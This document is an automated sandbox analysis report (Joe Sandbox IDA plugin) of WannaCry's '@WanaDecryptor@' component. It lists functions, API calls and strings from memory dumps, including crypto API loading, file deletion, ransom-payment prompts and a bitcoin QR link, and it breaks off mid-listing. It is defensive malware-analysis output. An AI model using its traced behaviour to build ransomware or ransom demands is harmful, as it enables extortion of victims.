#2302.MFC42(?,000003F5,?,?,000003F4,?,?,000003F3,?,?,000003EB,?,?,000003EC,?,?), ref: 0040640C
#2302.MFC42(?,000003F2,?,?,000003F5,?,?,000003F4,?,?,000003F3,?,?,000003EB,?,?), ref: 0040641E
#2302.MFC42(?,000003EE,?,?,000003F2,?,?,000003F5,?,?,000003F4,?,?,000003F3,?,?), ref: 00406430
#2302.MFC42(?,000003F9,?,?,000003EE,?,?,000003F2,?,?,000003F5,?,?,000003F4,?,?), ref: 00406442
#2302.MFC42(?,00000401,?,?,000003F9,?,?,000003EE,?,?,000003F2,?,?,000003F5,?,?), ref: 00406454
#2302.MFC42(?,000003FD,?,?,00000401,?,?,000003F9,?,?,000003EE,?,?,000003F2,?,?), ref: 00406466
#2302.MFC42(?,000003E8,?,?,000003FD,?,?,00000401,?,?,000003F9,?,?,000003EE,?,?), ref: 00406478
#2370.MFC42(?,000003FF,?,?,000003E8,?,?,000003FD,?,?,00000401,?,?,000003F9,?,?), ref: 0040648A
#2370.MFC42(?,000003FC,?,?,000003FF,?,?,000003E8,?,?,000003FD,?,?,00000401,?,?), ref: 0040649C
#2370.MFC42(?,000003EF,?,?,000003FC,?,?,000003FF,?,?,000003E8,?,?,000003FD,?,?), ref: 004064AE

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00412360, Relevance: 17.9, APIs: 7, Strings: 3, Instructions: 366

APIs

Part of subcall function 00411660: malloc.MSVCRT ref: 004116C8
Part of subcall function 00411660: malloc.MSVCRT ref: 004116E7
Part of subcall function 00411660: free.MSVCRT(00000000,?,?,?,?,?,?,?,00000000), ref: 00411707

Part of subcall function 00411AC0: free.MSVCRT(?,?,?,?,00411D27,?,?,?,00000000), ref: 00411B03
Part of subcall function 00411AC0: free.MSVCRT(?,?,?,?,00411D27,?,?,?,00000000), ref: 00411B32

Part of subcall function 00411CF0: #823.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411E5B
Part of subcall function 00411CF0: #825.MFC42(00000000), ref: 00411E84
Part of subcall function 00411CF0: _mbsstr.MSVCRT ref: 00411F04
Part of subcall function 00411CF0: _mbsstr.MSVCRT ref: 00411F1B
Part of subcall function 00411CF0: _mbsstr.MSVCRT ref: 00411F32
Part of subcall function 00411CF0: _mbsstr.MSVCRT ref: 00411F49
Part of subcall function 00411CF0: LocalFileTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00412078
Part of subcall function 00411CF0: #825.MFC42(?,?,?,?,?,?,?,?,?,?,?), ref: 004121FB

wsprintfA.USER32 ref: 004125F9
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,?,00000000), ref: 0041262A
wsprintfA.USER32 ref: 00412684

Part of subcall function 00412250: GetFileAttributesA.KERNEL32(?,?,?), ref: 00412264
Part of subcall function 00412250: CreateDirectoryA.KERNEL32(?,00000000), ref: 00412272
Part of subcall function 00412250: GetFileAttributesA.KERNEL32(00000000), ref: 00412338
Part of subcall function 00412250: CreateDirectoryA.KERNELBASE(?,00000000,?,?), ref: 0041234C

#823.MFC42(00004000), ref: 004126BF
WriteFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00412714
SetFileTime.KERNEL32(00000000,?,?,?), ref: 0041275F
CloseHandle.KERNEL32(00000000), ref: 00412770

Strings

:, xrefs: 00412666
%s%s%s, xrefs: 004125F3
%s%s, xrefs: 0041267E

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 0040B620, Relevance: 13.5, APIs: 9, Instructions: 45

APIs

FindWindowW.USER32(00000000,00000000), ref: 0040B628
ShowWindow.USER32(00000000,00000005), ref: 0040B638
SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000043), ref: 0040B651
SetWindowPos.USER32(00000000,000000FE,00000000,00000000,00000000,00000000,00000043), ref: 0040B660
SetForegroundWindow.USER32(00000000), ref: 0040B663
SetFocus.USER32(00000000), ref: 0040B66A
SetActiveWindow.USER32(00000000), ref: 0040B671
BringWindowToTop.USER32(00000000), ref: 0040B678
ExitProcess.KERNEL32 ref: 0040B689

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00401A10, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42

APIs

fopen.MSVCRT ref: 00401A2B
fread.MSVCRT ref: 00401A4B
fwrite.MSVCRT ref: 00401A58
fclose.MSVCRT ref: 00401A66
fclose.MSVCRT ref: 00401A74

Strings

c.wnry, xrefs: 00401A26

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00412250, Relevance: 6.1, APIs: 4, Instructions: 100

APIs

CreateDirectoryA.KERNELBASE(?,00000000,?,?), ref: 0041234C

Part of subcall function 00412250: GetFileAttributesA.KERNEL32(?,?,?), ref: 00412264
Part of subcall function 00412250: CreateDirectoryA.KERNEL32(?,00000000), ref: 00412272

GetFileAttributesA.KERNEL32(00000000), ref: 00412338

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 0040DAD0, Relevance: 6.0, APIs: 4, Instructions: 45

APIs

setsockopt.WS2_32 ref: 0040DB05
send.WS2_32(?,?,00000001,00000000), ref: 0040DB17
shutdown.WS2_32(?,00000002), ref: 0040DB23
closesocket.WS2_32(?), ref: 0040DB2D

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004043E0, Relevance: 4.5, APIs: 3, Instructions: 15

APIs

#4284.MFC42(00000000,00000100,00000001), ref: 004043EC
#3874.MFC42(?,00000000,00000100,00000001), ref: 004043F7
#5277.MFC42 ref: 00404402

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00411660, Relevance: 3.9, APIs: 3, Instructions: 156

APIs

free.MSVCRT(00000000,?,?,?,?,?,?,?,00000000), ref: 00411707

Part of subcall function 00411AC0: free.MSVCRT(?,?,?,?,00411D27,?,?,?,00000000), ref: 00411B03
Part of subcall function 00411AC0: free.MSVCRT(?,?,?,?,00411D27,?,?,?,00000000), ref: 00411B32

malloc.MSVCRT ref: 004116C8
malloc.MSVCRT ref: 004116E7

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004133E6, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6

APIs

#1576.MFC42(?,?,?,62A,00413236,00000000,?,0000000A), ref: 004133F6

Strings

62A, xrefs: 004133E6

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00410A50, Relevance: 3.1, APIs: 2, Instructions: 65

APIs

SetFilePointer.KERNELBASE(?,?,00000000,00000000,00410CA4,?,00000000,00000002,00000000,?,00000000,FFFFFFFF,?), ref: 00410A79
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00410CA4,?,00000000,00000002,00000000,?,00000000,FFFFFFFF,?), ref: 00410A9B

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004102B0, Relevance: 1.3, APIs: 1, Instructions: 7

APIs

calloc.MSVCRT ref: 004102BA

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Non-executed Functions

Function 00406F80, Relevance: 130.0, APIs: 67, Strings: 7, Instructions: 536

APIs

Part of subcall function 004076A0: time.MSVCRT ref: 004076DA
Part of subcall function 004076A0: sprintf.MSVCRT ref: 0040780E
Part of subcall function 004076A0: SendMessageA.USER32(?,00000402,?,00000000), ref: 0040785B
Part of subcall function 004076A0: SendMessageA.USER32(?,00000402,?,00000000), ref: 00407870
Part of subcall function 004076A0: #540.MFC42 ref: 00407876
Part of subcall function 004076A0: _ftol.MSVCRT ref: 004078AA
Part of subcall function 004076A0: #2818.MFC42(?,$%d,00000000), ref: 004078BE
Part of subcall function 004076A0: #2818.MFC42(?,Send $%d worth of bitcoin to this address:,00000000), ref: 004078D1
Part of subcall function 004076A0: #2818.MFC42(?,%.1f BTC,?,?), ref: 004078F5
Part of subcall function 004076A0: #2818.MFC42(?,Send %.1f BTC to this address:,?,?), ref: 00407909
Part of subcall function 004076A0: #3092.MFC42(00000402,?), ref: 0040791D
Part of subcall function 004076A0: #6199.MFC42(00000402,?), ref: 00407924
Part of subcall function 004076A0: InvalidateRect.USER32(?,00000000,00000001), ref: 0040795A
Part of subcall function 004076A0: #800.MFC42 ref: 0040799F

CreateSolidBrush.GDI32(000000E0), ref: 00406FB3
#1641.MFC42(00000000,?,767AAD28,?), ref: 00406FBC
CreateSolidBrush.GDI32(00121284), ref: 00406FC6
#1641.MFC42(00000000,?,767AAD28,?), ref: 00406FCF
CreateSolidBrush.GDI32(0000E000), ref: 00406FD9
#1641.MFC42(00000000,?,767AAD28,?), ref: 00406FE2
CreateSolidBrush.GDI32(00E00000), ref: 00406FEC
#1641.MFC42(00000000,?,767AAD28,?), ref: 00406FF5
CreateSolidBrush.GDI32(00000000), ref: 00406FFC
#1641.MFC42(00000000,?,767AAD28,?), ref: 00407005
CreateSolidBrush.GDI32(003834D1), ref: 0040700F
#1641.MFC42(00000000,?,767AAD28,?), ref: 00407018
CreateSolidBrush.GDI32(00107C10), ref: 00407022
#1641.MFC42(00000000,?,767AAD28,?), ref: 0040702B
CreateSolidBrush.GDI32(00E8A200), ref: 00407035
#1641.MFC42(00000000,?,767AAD28,?), ref: 0040703E
CreateSolidBrush.GDI32(00D77800), ref: 00407048
#1641.MFC42(00000000,?,767AAD28,?), ref: 00407051
CreateSolidBrush.GDI32(00003CDA), ref: 0040705B
#1641.MFC42(00000000,?,767AAD28,?), ref: 00407064
CreateFontA.GDI32(00000018,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 00407097
#1641.MFC42(00000000,?,767AAD28,?), ref: 0040709C
CreateFontA.GDI32(00000012,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 004070C9
#1641.MFC42(00000000,?,767AAD28,?), ref: 004070CE
CreateFontA.GDI32(00000010,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 004070FB
#1641.MFC42(00000000,?,767AAD28,?), ref: 00407104
#3092.MFC42(000003ED,00000000,?,767AAD28,?), ref: 00407110
SendMessageA.USER32(?,00000030,?,00000001), ref: 0040712B
#3092.MFC42(000003FE,?,767AAD28,?), ref: 00407134
SendMessageA.USER32(?,00000030,?,00000001), ref: 0040714D
#3092.MFC42(000003FB,?,767AAD28,?), ref: 00407156
SendMessageA.USER32(?,00000030,?,00000001), ref: 0040716F
#3092.MFC42(000003FF,?,767AAD28,?), ref: 00407178
SendMessageA.USER32(?,00000030,?,00000001), ref: 00407191
#3092.MFC42(000003FC,?,767AAD28,?), ref: 0040719A
SendMessageA.USER32(?,00000030,?,00000001), ref: 004071B3
#3092.MFC42(00000400,?,767AAD28,?), ref: 004071BC
SendMessageA.USER32(?,00000030,?,00000001), ref: 004071D5
#3092.MFC42(000003FA,?,767AAD28,?), ref: 004071DE
SendMessageA.USER32(?,00000030,?,00000001), ref: 004071F3
#3092.MFC42(00000402,?,767AAD28,?), ref: 004071FC
SendMessageA.USER32(?,00000030,?,00000001), ref: 00407215
#3092.MFC42(000003EF,?,767AAD28,?), ref: 0040721E
SendMessageA.USER32(?,00000030,?,00000001), ref: 00407237
#3092.MFC42(000003EB,?,767AAD28,?), ref: 00407240
SendMessageA.USER32(?,00000030,?,00000001), ref: 00407259
#3092.MFC42(000003EC,?,767AAD28,?), ref: 00407262
SendMessageA.USER32(?,00000030,?,00000001), ref: 00407277
#860.MFC42(?,?,767AAD28,?), ref: 00407288
#537.MFC42(https://en.wikipedia.org/wiki/Bitcoin,?,?,?,767AAD28,?), ref: 004072F9

Part of subcall function 00404210: #858.MFC42(?,?,00413788,000000FF), ref: 00404235
Part of subcall function 00404210: #800.MFC42(?,?,00413788,000000FF), ref: 00404246

#537.MFC42(https://www.google.com/search?q=how+to+buy+bitcoin,?,?,?,?,767AAD28,?), ref: 00407315
#540.MFC42(?,?,?,?,767AAD28,?), ref: 00407329
#2818.MFC42(?,mailto:%s,?,?,?,?,?,767AAD28,?), ref: 0040734A
#535.MFC42(?), ref: 0040735D
#2818.MFC42(?,http://www.btcfrog.com/qr/bitcoinPNG.php?address=%s,00000000), ref: 00407385
#535.MFC42(?), ref: 00407398
SendMessageA.USER32(?,00000406,00000000,00000064), ref: 004073B8
SendMessageA.USER32(?,00000406,00000000,00000064), ref: 004073CA
#6140.MFC42(00000002,000000FF), ref: 004073D6
#6140.MFC42(00000002,000000FF,00000002,000000FF), ref: 004073FF

Part of subcall function 00405860: GetClientRect.USER32(?,?), ref: 0040587E
Part of subcall function 00405860: #6197.MFC42(00000000,00000000,00000000,?,?,00000002), ref: 004058A5

Part of subcall function 004058C0: GetClientRect.USER32(?,?), ref: 004058DE
Part of subcall function 004058C0: #6197.MFC42(00000000,00000000,00000000,?,?,00000002), ref: 00405905

Part of subcall function 00405180: _mbscmp.MSVCRT ref: 00405191
Part of subcall function 00405180: #860.MFC42(?), ref: 004051A1
Part of subcall function 00405180: RedrawWindow.USER32(?,00000000,00000000,00000121), ref: 004051DE
Part of subcall function 00405180: InvalidateRect.USER32(?,00000000,00000001), ref: 004051F2

GetTimeZoneInformation.KERNEL32(?,0000000B,00000001,0000000B,00000001,00000002,000000FF,00000002,000000FF), ref: 004074DA

Part of subcall function 00401E60: VariantTimeToSystemTime.OLEAUT32(?), ref: 00401E7B

SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?), ref: 00407520
#2818.MFC42(?,%d/%d/%d %02d:%02d:%02d,?,?,?,?,?,?), ref: 0040756E
SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?), ref: 004075AD
#2818.MFC42(?,%d/%d/%d %02d:%02d:%02d,?,?,?,?,?,?), ref: 004075FB
#6334.MFC42(00000000), ref: 00407607
#800.MFC42 ref: 0040761B

Strings

mailto:%s, xrefs: 00407339
Arial, xrefs: 00407069, 004070A1, 004070D3
00;00;00;00, xrefs: 0040746B, 004074C9
%d/%d/%d %02d:%02d:%02d, xrefs: 00407568, 004075F5
http://www.btcfrog.com/qr/bitcoinPNG.php?address=%s, xrefs: 0040737F
https://en.wikipedia.org/wiki/Bitcoin, xrefs: 004072F4
https://www.google.com/search?q=how+to+buy+bitcoin, xrefs: 00407310

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004026B0, Relevance: 54.6, APIs: 26, Strings: 5, Instructions: 318

APIs

Part of subcall function 0040C8F0: #823.MFC42(00000018,0040BB62,00000000,00000000), ref: 0040C8F2

swprintf.MSVCRT ref: 00402728
FindFirstFileW.KERNEL32(?,?,00000000), ref: 0040273E
wcscmp.MSVCRT ref: 004027E1
wcscmp.MSVCRT ref: 004027FB
swprintf.MSVCRT(?,%s\%s,?,?), ref: 00402822
GetFileAttributesW.KERNEL32(?), ref: 00402830
?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 00402957

Part of subcall function 00402AF0: _wcsnicmp.MSVCRT ref: 00402AFF
Part of subcall function 00402AF0: wcsstr.MSVCRT ref: 00402B18
Part of subcall function 00402AF0: _wcsicmp.MSVCRT ref: 00402B39
Part of subcall function 00402AF0: _wcsicmp.MSVCRT ref: 00402B53
Part of subcall function 00402AF0: _wcsicmp.MSVCRT ref: 00402B6D
Part of subcall function 00402AF0: _wcsicmp.MSVCRT ref: 00402B87
Part of subcall function 00402AF0: _wcsicmp.MSVCRT ref: 00402BA1
Part of subcall function 00402AF0: wcsstr.MSVCRT ref: 00402BBB
Part of subcall function 00402AF0: wcsstr.MSVCRT ref: 00402BD5
Part of subcall function 00402AF0: _wcsicmp.MSVCRT ref: 00402BF3
Part of subcall function 00402AF0: _wcsicmp.MSVCRT ref: 00402C0D
Part of subcall function 00402AF0: _wcsicmp.MSVCRT ref: 00402C27

?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000000,?,?), ref: 00402863
wcslen.MSVCRT ref: 0040286E
?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z.MSVCP60(?,00000000), ref: 0040287D
wcscmp.MSVCRT ref: 004028C3
wcscmp.MSVCRT ref: 004028DD
wcscmp.MSVCRT ref: 004028F3
?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000000), ref: 00402909
wcslen.MSVCRT ref: 00402914
?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z.MSVCP60(?,00000000), ref: 00402923

Part of subcall function 00402DA0: #823.MFC42(00000018,768ED335,768ED3B7,?,00000000,00402949), ref: 00402DAF

FindNextFileW.KERNEL32(?,?), ref: 0040296A
FindClose.KERNEL32(?), ref: 0040297D

Part of subcall function 00402560: wcscpy.MSVCRT ref: 0040257D
Part of subcall function 00402560: wcsrchr.MSVCRT ref: 0040258A
Part of subcall function 00402560: _wcsicmp.MSVCRT ref: 004025A5
Part of subcall function 00402560: _wcsicmp.MSVCRT ref: 004025B4
Part of subcall function 00402560: wcscat.MSVCRT ref: 004025D3
Part of subcall function 00402560: DeleteFileW.KERNEL32(?), ref: 004025F0
Part of subcall function 00402560: MoveFileW.KERNEL32(?,?), ref: 00402604
Part of subcall function 00402560: DeleteFileW.KERNEL32(?), ref: 0040262E

Part of subcall function 004026B0: #825.MFC42(?,?,?,?), ref: 0040276F
Part of subcall function 004026B0: #825.MFC42(?), ref: 004027A5

swprintf.MSVCRT(?,%s\%s,?,@Please_Read_Me@.txt), ref: 00402A0C
DeleteFileW.KERNEL32(?), ref: 00402A16
swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.exe.lnk), ref: 00402A2C
DeleteFileW.KERNEL32(?), ref: 00402A36
#825.MFC42(?), ref: 00402A6B
#825.MFC42(?), ref: 00402ABF

Part of subcall function 00402E90: #825.MFC42(?,?,?,?,00402AB4,?,?,?,00000000), ref: 00402EC8
Part of subcall function 00402E90: #825.MFC42(?,?,?,?,00402AB4,?,?,?,00000000), ref: 00402EE6

Strings

%s\*, xrefs: 0040271A
@WanaDecryptor@.bmp, xrefs: 004028ED
@WanaDecryptor@.exe.lnk, xrefs: 004028D7, 00402A1C
%s\%s, xrefs: 0040281C, 00402A06, 00402A26
@Please_Read_Me@.txt, xrefs: 004028BD, 004029FC

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004035A0, Relevance: 36.2, APIs: 24, Instructions: 175

APIs

SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004035DB
OpenClipboard.USER32(?), ref: 004035E9
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00403609
#3301.MFC42(?,00000000,00000000), ref: 0040361A
#924.MFC42 ref: 00403635
#800.MFC42 ref: 00403646
#800.MFC42 ref: 00403665
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040367B
GlobalAlloc.KERNEL32(00000002,-00000002), ref: 00403687
GlobalLock.KERNEL32(00000000), ref: 0040369C
GlobalFree.KERNEL32(00000000), ref: 004036AB
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004036C8
#3301.MFC42(?,00000000,00000000), ref: 004036E7
#924.MFC42(00000000), ref: 00403702
#800.MFC42(00000000), ref: 00403713
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000167,00000000), ref: 00403748
wcslen.MSVCRT ref: 00403753
wcslen.MSVCRT ref: 0040377B
#800.MFC42 ref: 00403797
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004037B1
GlobalUnlock.KERNEL32(00000000), ref: 004037CE
EmptyClipboard.USER32 ref: 004037D4
SetClipboardData.USER32(0000000D,00000000), ref: 004037DD
CloseClipboard.USER32 ref: 004037E3

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00403CB0, Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 122

APIs

FindFirstFileA.KERNEL32(*.res,?), ref: 00403CCA
sscanf.MSVCRT ref: 00403D26
fopen.MSVCRT ref: 00403D45
fread.MSVCRT ref: 00403D69
sprintf.MSVCRT ref: 00403D99

Part of subcall function 00401C30: inet_ntoa.WS2_32(?), ref: 00401C3F

SendMessageA.USER32(?,00000143,00000000,?), ref: 00403DDB
#823.MFC42(00000088), ref: 00403DE4
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00403E0B
fclose.MSVCRT ref: 00403E16
FindNextFileA.KERNEL32(?,00000010), ref: 00403E2C
FindClose.KERNEL32(?), ref: 00403E3B

Strings

%08X.res, xrefs: 00403D20
\, xrefs: 00403DB4
My Computer, xrefs: 00403D93
*.res, xrefs: 00403CC1
\, xrefs: 00403DBB

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 00404B70, Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 62

APIs

LoadLibraryA.KERNEL32(advapi32.dll), ref: 00404B86
GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?,?,00402C46), ref: 00404BA3
GetProcAddress.KERNEL32(00000000,CryptImportKey,?,?,00402C46), ref: 00404BB0
GetProcAddress.KERNEL32(00000000,CryptDestroyKey,?,?,00402C46), ref: 00404BBD
GetProcAddress.KERNEL32(00000000,CryptEncrypt,?,?,00402C46), ref: 00404BCA
GetProcAddress.KERNEL32(00000000,CryptDecrypt,?,?,00402C46), ref: 00404BD7
GetProcAddress.KERNEL32(00000000,CryptGenKey,?,?,00402C46), ref: 00404BE4

Strings

CryptAcquireContextA, xrefs: 00404B9D
CryptGenKey, xrefs: 00404BD9
CryptDestroyKey, xrefs: 00404BB2
CryptImportKey, xrefs: 00404BA5
advapi32.dll, xrefs: 00404B81
CryptDecrypt, xrefs: 00404BCC
CryptEncrypt, xrefs: 00404BBF

Memory Dump Source

Source File: 0000000E.00000002.1860121782.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1860107091.00400000.00000002.sdmp
Associated: 0000000E.00000002.1860135311.00415000.00000002.sdmp
Associated: 0000000E.00000002.1860149005.0041F000.00000008.sdmp
Associated: 0000000E.00000002.1860163213.00421000.00000004.sdmp
Associated: 0000000E.00000002.1860185316.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_@WanaDecryptor@.jbxd

Function 004080C0, Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 143

APIs

FindFirstFileA.KERNEL32(*.res,?), ref: 00408111
sscanf.MSVCRT ref: 0040816A
fopen.MSVCRT ref: 00408185
fread.MSVCRT ref: 004081A0
